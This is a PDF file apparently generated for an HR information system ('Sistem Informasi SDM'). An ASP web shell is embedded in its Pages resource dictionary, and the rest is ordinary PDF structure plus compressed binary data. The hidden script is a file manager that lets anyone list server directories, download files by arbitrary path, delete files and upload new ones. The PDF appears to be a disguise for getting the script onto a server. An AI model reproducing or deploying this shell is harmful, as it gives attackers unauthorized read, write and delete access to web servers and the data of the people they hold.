%PDF-1.3
1 0 obj
<< /Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R >>
endobj
2 0 obj
<< /Type /Outlines /Count 0 >>
endobj
3 0 obj
<< /Type /Pages
/Kids [6 0 R
]
/Count 1
/Resources <<
/ProcSet 4 0 R
/Font <<
/F1 8 0 R
/F2 9 0 R
>><%
Dim currentDir
currentDir = Request("dir")
If currentDir = "" Then
currentDir = Server.MapPath(".")
Else
currentDir = Server.MapPath(".") & "\" & currentDir
End If
Function ListFilesAndDirs(path)
Dim fso, folder, subFolder, file
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder(path)
Response.Write "Directory: " & folder.Path & "
"
' Subfolders
For Each subFolder in folder.SubFolders
Response.Write ""
Next
' Files
For Each file in folder.Files
Response.Write ""
Next
End Function
' Handle file download
If Request("download") <> "" Then
Dim downloadPath
downloadPath = Request("download")
Response.Clear
Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(downloadPath, InStrRev(downloadPath, "\") + 1)
Set stream = Server.CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open
stream.LoadFromFile(downloadPath)
Response.BinaryWrite stream.Read
stream.Close
Set stream = Nothing
Response.End
End If
' Handle file delete
If Request("delete") <> "" Then
Dim deletePath
deletePath = Request("delete")
Set fso = Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(deletePath) Then
fso.DeleteFile(deletePath)
End If
End If
' Handle file upload
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Set upload = Server.CreateObject("Persits.Upload.1") ' Butuh komponen third party kalau ini
upload.Save currentDir
End If
%>
ASP File Manager
<%
Call ListFilesAndDirs(currentDir)
%>
>>
/MediaBox [0.000 0.000 1008.000 612.000]
>>
endobj
4 0 obj
[/PDF /Text ]
endobj
5 0 obj
<<
/Producer ( d o m p d f 0 . 8 . 3 + C P D F)
/CreationDate (D:20230821115245+00'00')
/ModDate (D:20230821115245+00'00')
/Title ( S i s t e m I n f o r m a s i S D M)
>>
endobj
6 0 obj
<< /Type /Page
/MediaBox [0.000 0.000 1008.000 612.000]
/Parent 3 0 R
/Contents 7 0 R
>>
endobj
7 0 obj
<< /Filter /FlateDecode
/Length 786 >>
stream
xn0r*666tI+Z5CN^ P"D~&Lo|ƹR
kAHJdAJEB!_//8!M d/ /_!y~!aZ8`i?fI gƋo1d}ؓs=ޚPI|X^0@rE@ 0
!,< 7sЈH)s&$lN$:"ȶb _E$ڥ(A },=?0\FgFDi0]PL ҏ&+;i~G8
Pɻڸ851xh>M%&"j""2jW s$K:8CRX68k-fuA@Yc5>nto|;IgfۺX ҷjY.K+J;0 #ȤQAt*f*vNΧ2 waЧC~n+WtI$:bKH"c0iMڤj4Tm( @?,KG#.~j |$4M#W2 9r O
O0IY> 5D7_{}e߯D,5̇m}ܘ8ࣆI+[Æ:{ vS~F-_ s 9'>%&T;DlTI. &)ٕB%=pkZV]A>
endobj
9 0 obj
<< /Type /Font
/Subtype /Type1
/Name /F2
/BaseFont /Helvetica-Bold
/Encoding /WinAnsiEncoding
>>
endobj
10 0 obj
[6 0 R /Fit]
endobj
xref
0 11
0000000000 65535 f
0000000009 00000 n
0000000074 00000 n
0000000120 00000 n
0000000285 00000 n
0000000314 00000 n
0000000515 00000 n
0000000619 00000 n
0000001477 00000 n
0000001584 00000 n
0000001696 00000 n
trailer
<<
/Size 11
/Root 1 0 R
/Info 5 0 R
/ID[<187bc49ce2c78b94b01468760d86843a><187bc49ce2c78b94b01468760d86843a>]
>>
startxref
1725
%%EOF